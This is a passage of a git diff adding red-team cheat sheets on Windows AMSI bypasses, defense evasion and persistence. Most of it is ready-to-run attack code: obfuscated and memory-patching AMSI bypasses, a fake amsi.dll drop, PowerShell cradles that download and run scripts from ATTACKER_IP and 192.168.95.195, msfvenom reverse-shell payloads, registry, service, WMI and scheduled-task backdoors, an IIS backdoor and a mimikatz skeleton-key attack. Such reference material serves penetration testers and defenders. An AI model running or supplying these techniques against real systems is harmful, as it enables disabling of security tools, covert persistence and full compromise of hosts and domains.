"unloadsilent" + { + Write-Verbose "Using Matt Graeber's Reflection method with WMF5 autologging bypass." + if ($ShowOnly -eq $True) + { + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output '[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags'')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType(''System.T''+''ype'')), [Object]([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')),(''GetFie''+''ld'')).Invoke(''amsiInitFailed'',((''Non''+''Public,Static'') -as [String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags''))).SetValue($null,$True)' + } + else + { + Write-Output "Executing the bypass." + [Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) + } + } + + "unloadobfuscated" + { + Write-Verbose "Using Matt Graeber's Reflection method with obfuscation from Daneil Bohannon's Invoke-Obfuscation - which bypasses WMF5 autologging." + if ($ShowOnly -eq $True) + { + $code = @" +Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) +"@ + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output $code + } + else + { + Write-Output "Executing the bypass." + Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) + + } + } + + "unload2" + { + Write-Verbose "Using Matt Graeber's second Reflection method." + if ($ShowOnly -eq $True) + { + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output '[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiContext'',[Reflection.BindingFlags]''NonPublic,Static'').GetValue($null),0x41414141)' + } + else + { + Write-Output "Executing the bypass." + [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) + } + } + + "dllhijack" + { + Write-Verbose "Using Cornelis de Plaa's DLL hijack method." + if ($ShowOnly -eq $True) + { + Write-Output "Copy powershell.exe from C:\Windows\System32\WindowsPowershell\v1.0 to a local folder and dropa fake amsi.dll in the same directory." + Write-Output "Run the new powershell.exe and AMSI should be gone for that session." + } + else + { + [Byte[]] $temp = $DllBytes -split ' ' + Write-Output "Executing the bypass." + Write-Verbose "Dropping the fake amsi.dll to disk." + [System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp) + + Write-Verbose "Copying powershell.exe to the current working directory." + Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd + + Write-Verbose "Starting powershell.exe from the current working directory." + & "$pwd\powershell.exe" + + } + } + + "psv2" + { + Write-Verbose "Using PowerShell version 2 which doesn't support AMSI." + if ($ShowOnly -eq $True) + { + Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." + } + else + { + Write-Verbose "Checking if .Net version 2.0.50727 is installed." + $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version + if($versions -match "2.0.50727") + { + Write-Verbose ".Net version 2.0.50727 found." + Write-Output "Executing the bypass." + powershell.exe -version 2 + } + else + { + Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." + } + } + } + + "obfuscation" + { + Write-Output "AMSI and the AVs which support it can be bypassed using obfuscation techqniues." + Write-Output "ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) and Invoke-Obfuscation can be used (https://github.com/danielbohannon/Invoke-Obfuscation)." + } + } + +} +``` + +## Adam Chester Patch + +Bypass Update by Adam Chester + +```ps1 +$Winpatch = @" +using System; +using System.Runtime.InteropServices; + +public class patch +{ + // https://twitter.com/_xpn_/status/1170852932650262530 + static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; + static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; + + public static void it() + { + if (is64Bit()) + PatchAmsi(x64); + else + PatchAmsi(x86); + } + + private static void PatchAmsi(byte[] patch) + { + try + { + var lib = Win32.LoadLibrary("a" + "ms" + "i.dll"); + var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer"); + + uint oldProtect; + Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect); + + Marshal.Copy(patch, 0, addr, patch.Length); + Console.WriteLine("Patch Sucessfull"); + } + catch (Exception e) + { + Console.WriteLine(" [x] {0}", e.Message); + Console.WriteLine(" [x] {0}", e.InnerException); + } + } + + private static bool is64Bit() + { + bool is64Bit = true; + + if (IntPtr.Size == 4) + is64Bit = false; + + return is64Bit; + } +} + +class Win32 +{ + [DllImport("kernel32")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); +} +"@ + +Add-Type -TypeDefinition $Winpatch -Language CSharp +[patch]::it() +``` + +## Other interesting AMSI bypass + +* [tihanyin/PSSW100AVB/AMSI_bypass_2021_09.ps1](https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1) + + ```ps1 + $A="5492868772801748688168747280728187173688878280688776828" + $B="1173680867656877679866880867644817687416876797271" + [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " " ).GetField([string](38..51|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ",'Non' + 'Public,Static').SetValue($null,$true) + ``` + +## AMSI.fail + +> AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures. + +* [amsi.fail](https://amsi.fail) + +## References + +* [S3cur3Th1sSh1t - Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/blob/master/README.md) +* [Reinventing PowerShell in C/C++ - Clément Labro - February 18, 2025](https://blog.scrt.ch/2025/02/18/reinventing-powershell-in-c-c/) diff --git a/personas/_shared/internal-allthethings/redteam/evasion/windows-defenses.md b/personas/_shared/internal-allthethings/redteam/evasion/windows-defenses.md new file mode 100644 index 0000000..f755dab --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/evasion/windows-defenses.md @@ -0,0 +1,602 @@ +# Windows - Defenses + +## Summary + +* [AppLocker](#applocker) +* [User Account Control](#user-account-control) +* [DPAPI](#dpapi) +* [Powershell](#powershell) + * [Execution Policy](#execution-policy) + * [Anti Malware Scan Interface](#anti-malware-scan-interface) + * [Just Enough Administration](#just-enough-administration) + * [Contrained Language Mode](#constrained-language-mode) + * [Script Block and Module Logging](#script-block-and-module-logging) + * [PowerShell Transcript](#powershell-transcript) + * [SecureString](#securestring) +* [Protected Process Light](#protected-process-light) +* [Credential Guard](#credential-guard) +* [Event Tracing for Windows](#event-tracing-for-windows) +* [Attack Surface Reduction](#attack-surface-reduction) +* [Windows Defender Antivirus](#windows-defender-antivirus) +* [Windows Defender Application Control](#windows-defender-application-control) +* [Windows Defender Firewall](#windows-defender-firewall) +* [Windows Information Protection](#windows-information-protection) + +## AppLocker + +> AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups. + +* Enumerate Local AppLocker Effective Policy + + ```powershell + PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections + PowerView PS C:\> Get-AppLockerPolicy -effective -xml + Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys: Appx, Dll, Exe, Msi and Script + ``` + +* AppLocker Bypass + * By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users + * [api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md) + * [api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md) + * [api0cradle/UltimateAppLockerByPassList/DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md) + * [api0cradle/AccessChk.bat](https://gist.github.com/api0cradle/95cd51fa1aa735d9331186f934df4df9) + +## User Account Control + +UAC stands for User Account Control. It is a security feature introduced by Microsoft in Windows Vista and is present in all subsequent versions of the Windows operating system. UAC helps mitigate the impact of malware and helps protect users by asking for permission or an administrator's password before allowing changes to be made to the system that could potentially affect all users of the computer. + +* Check if UAC is enabled + + ```ps1 + REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA + ``` + +* Check UAC level + + ```ps1 + REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin + REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken + ``` + +| EnableLUA | LocalAccountTokenFilterPolicy | FilterAdministratorToken | Description | +|---|---|---|---| +| 0 | / | / | No UAC | +| 1 | 1 | / | No UAC | +| 1 | 0 | 0 | No UAC for RID 500 | +| 1 | 0 | 1 | UAC for Everyone | + +* UAC Bypass + * [AutoElevated binary signed by Microsoft](https://www.elastic.co/guide/en/security/current/bypass-uac-via-sdclt.html) - `msconfig`, `sdclt.exe`, `eventvwr.exe`, etc + * [hfiref0x/UACME](https://github.com/hfiref0x/UACME) - Defeating Windows User Account Control + * Find process that auto elevate: + + ```ps1 + strings.exe -s *.exe | findstr /I "true" + ``` + +## DPAPI + +Refer to [InternalAllTheThings/Windows - DPAPI.md](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/) + +## Powershell + +### Execution Policy + +> PowerShell Execution Policy is a security feature that controls how scripts run on a system. It helps prevent unauthorized scripts from executing, but it is not a security boundary—it only prevents accidental execution of unsigned scripts. + +* Check current policy + + ```ps1 + Get-ExecutionPolicy + ``` + +| Policy | Description | +| ------------- | ------------------------------------------------- | +| Restricted | No scripts allowed (default in some systems). | +| AllSigned | Only runs signed scripts. | +| RemoteSigned | Local scripts run, remote scripts must be signed. | +| Unrestricted | Runs all scripts, warns for remote scripts. | +| Bypass | No restrictions; all scripts run. | + +* `Restricted`: it prevents the execution of all scripts (the default for workstations). +* `RemoteSigned`: it blocks the execution of unsigned scripts downloaded from the Internet, but allows the execution of "local" scripts (the default on servers). The command `Unblock-File` can be used to remove the Mark-of-the-Web (MotW) and make a downloaded script look like a "local" script. + + ```ps1 + # Bypass + Unblock-File my-file-from-internet + ``` + +* `AllSigned`: it blocks unsigned scripts. This is the most secure option. + + ```ps1 + # Bypass + Get-Content .\run.ps1 | Invoke-Expression + ``` + +You can just run `powershell.exe` with the option `-ep Bypass`, or use the built-in command `Set-ExecutionPolicy`. + +```ps1 +powershell -ep bypass +Set-ExecutionPolicy Bypass -Scope Process -Force +``` + +### Anti Malware Scan Interface + +> The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content. + +Find more AMSI bypass: [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md) + +```powershell +PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) +``` + +### Just Enough Administration + +> Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information. + +Breaking out if JEA: + +* List available cmdlets: `command` +* Look for non-default cmdlets: + + ```ps1 + Set-PSSessionConfiguration + Start-Process + New-Service + Add-Computer + ``` + +### Constrained Language Mode + +Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode` + +* Bypass using an old Powershell. Powershell v2 doesn't support CLM. + + ```ps1 + powershell.exe -version 2 + powershell.exe -version 2 -ExecutionPolicy bypass + powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')" + ``` + +* Bypass when `__PSLockDownPolicy` is used. Just put "System32" somewhere in the path. + + ```ps1 + # Enable CLM from the environment + [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') + Get-ChildItem -Path Env: + + # Create a check-mode.ps1 containing your "evil" powershell commands + $mode = $ExecutionContext.SessionState.LanguageMode + write-host $mode + + # Simple bypass, execute inside a System32 folder + PS C:\> C:\Users\Public\check-mode.ps1 + ConstrainedLanguage + + PS C:\> C:\Users\Public\System32\check-mode.ps1 + FullLanguagge + ``` + +* Bypass using COM: [xpn/COM_to_registry.ps1](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1) +* Bypass using your own Powershell DLL: [p3nt4/PowerShdll](https://github.com/p3nt4/PowerShdll) & [iomoath/PowerShx](https://github.com/iomoath/PowerShx) + + ```ps1 + rundll32 PowerShdll,main + +``` + +## Serviceland + +### IIS + +IIS Raid – Backdooring IIS Using Native Modules + +```powershell +$ git clone https://github.com/0x09AL/IIS-Raid +$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS +C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true +``` + +### Windows Service + +Using SharPersist + +```powershell +SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add +``` + +## Elevated + +### Registry HKLM + +Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows. + +```powershell +Value name: Backdoor +Value data: C:\Windows\Temp\backdoor.exe +``` + +Using the command line + +```powershell +reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" +reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" +reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" +reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" +``` + +#### Winlogon Helper DLL + +> Run executable during Windows logon + +```powershell +msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe +msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll + +reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f +reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f +Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force +Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force +``` + +#### GlobalFlag + +> Run executable after notepad is killed + +```powershell +reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 +reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 +reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" +``` + +### Startup Elevated + +Create a batch script in the `ProgramData` startup folder. + +```powershell +C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp +``` + +### Services Elevated + +Create a service that will start automatically or on-demand. + +```powershell +# Powershell +New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic +sc start Backdoor + +# SharPersist +SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add + +# sc +sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem" +sc start Backdoor +``` + +### ServiceSecurityDescriptor + +Allow any arbitrary non-administrative user to have full SYSTEM permissions on a machine persistently by feeding an overly permissive ACL to the service control manager with sdset. + +**Exploit**: + +```ps1 +sc.exe sdset +``` + +The following command grants full control (`Key Access`) over the Service Control Manager to all users (represented by `WD`, which stands for "World"). In other words, it allows any user to start, stop, modify, or control services through the Service Control Manager, which can be a security risk as it opens service management to everyone on the system. + +```ps1 +sc.exe sdset scmanager D:(A;;KA;;;WD) +``` + +* `sc.exe`: The Service Control (sc) command is a Windows utility used for managing services. +* `sdset`: This option sets a Security Descriptor (SD) for a service or the Service Control Manager itself. A security descriptor defines permissions and access rights to system resources. +* `scmanager`: This is the target, referring to the Service Control Manager, which manages the services in the system. + +The `ServiceSecurityDescriptor` is defined using the Service Descriptor Definition Language (SDDL). + +List the permissions for `scmanager` + +```ps1 +sc.exe sdshow scmanager +``` + +Alternatively, you can use [zacateras/sddl-parser](https://github.com/zacateras/sddl-parser) to understand the Security Descriptor Definition Language (SDDL), e.g: `./Sddl.Parser.Console.exe "O:BAG:BAD:(A;CI;CCDCRP;;;NS)"`. + +Abuse the weaken configuration to create a service that grants administrator privilege to a custom user `user_basic`. + +```ps1 +sc create LPE displayName= "LPE" binPath= "C:\Windows\System32\net.exe localgroup Administrators user_basic /add" start= auto +``` + +Then you need to wait for a reboot for the service to automatically start and grant the user with elevated privilege or any persistence mechanism you specified in the `binPath`. + +### Scheduled Tasks Elevated + +Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day. + +> Processes spawned as scheduled tasks have taskeng.exe process as their parent + +```powershell +# Powershell +$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe" +$T = New-ScheduledTaskTrigger -Daily -At 9am +# OR +$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM" +$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest +$S = New-ScheduledTaskSettingsSet +$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S +Register-ScheduledTask "Backdoor" -InputObject $D + +# Native schtasks +schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM" +schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password +schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time] + +##(X86) - On User Login +schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System + +##(X86) - On System Start +schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System + +##(X86) - On User Idle (30mins) +schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30 + +##(X64) - On User Login +schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System + +##(X64) - On System Start +schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System + +##(X64) - On User Idle (30mins) +schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30 +``` + +### Windows Management Instrumentation Event Subscription + +> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. + +* **__EventFilter**: Trigger (new process, failed logon etc.) +* **EventConsumer**: Perform Action (execute payload etc.) +* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes + +```ps1 +# Using CMD : Execute a binary 60 seconds after Windows started +wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" +wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe" +wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\"" +# Remove it +Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose + +# Using Powershell (deploy) +$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"}; +$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs +$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";} +$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs +$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;} +$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs +# Using Powershell (remove) +$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'" +$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'" +$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" +$FilterConsumerBindingToCleanup | Remove-WmiObject +$EventConsumerToCleanup | Remove-WmiObject +$EventFilterToCleanup | Remove-WmiObject +``` + +### Binary Replacement + +#### Binary Replacement on Windows XP+ + +| Feature | Executable | +|---------------------|---------------------------------------| +| Sticky Keys | C:\Windows\System32\sethc.exe | +| Accessibility Menu | C:\Windows\System32\utilman.exe | +| On-Screen Keyboard | C:\Windows\System32\osk.exe | +| Magnifier | C:\Windows\System32\Magnify.exe | +| Narrator | C:\Windows\System32\Narrator.exe | +| Display Switcher | C:\Windows\System32\DisplaySwitch.exe | +| App Switcher | C:\Windows\System32\AtBroker.exe | + +In Metasploit : `use post/windows/manage/sticky_keys` + +#### Binary Replacement on Windows 10+ + +Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable. + +Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`. + +### Skeleton Key + +> Inject a master password into the LSASS process of a Domain Controller. + +**Requirements**: + +* Domain Administrator (SeDebugPrivilege) or `NTAUTHORITY\SYSTEM` + +**Exploitation**: + +```powershell +# Execute the skeleton key attack +mimikatz "privilege::debug" "misc::skeleton" +Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName + +# Access using the password "mimikatz" +Enter-PSSession -ComputerName -Credential \Administrator +``` + +### Virtual Machines + +> Based on the Shadow Bunny technique. + +```ps1 +# download virtualbox +Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe + +# perform a silent install and avoid creating desktop and quick launch icons +VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 + +# in \Program Files\Oracle\VirtualBox\VBoxManage.exe +# Disabling notifications +.\VBoxManage.exe setextradata global GUI/SuppressMessages "all" + +# Download the Virtual machine disk +Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd + +# Create a new VM +$vmname = "IT Recovery" +.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register + +# Add a network card in NAT mode +.\VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit +.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128 +.\VBoxManage.exe modifyvm $vmname --nic1 nat +.\VBoxManage.exe modifyvm $vmname --audio none +.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga +.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny" + +# Mount the VHD file +.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata +.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0 + +# Start the VM +.\VBoxManage.exe startvm $vmname –type headless + + +# optional - adding a shared folder +# require: VirtualBox Guest Additions +.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount +# then mount the folder in the VM +sudo mkdir /mnt/c +sudo mount -t vboxsf shadow_c /mnt/c +``` + +### Windows Subsystem for Linux + +```ps1 +# List and install online packages +wsl --list --online +wsl --install -d kali-linux + +# Use a local package +wsl --set-default-version 2 +curl.exe --insecure -L -o debian.appx https://aka.ms/wsl-debian-gnulinux +Add-AppxPackage .\debian.appx + +# Run the machine as root +wsl kali-linux --user root +``` + +## Domain + +### User Certificate + +```ps1 +# Request a certificate for the User template +.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User + +# Convert the certificate for Rubeus +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out 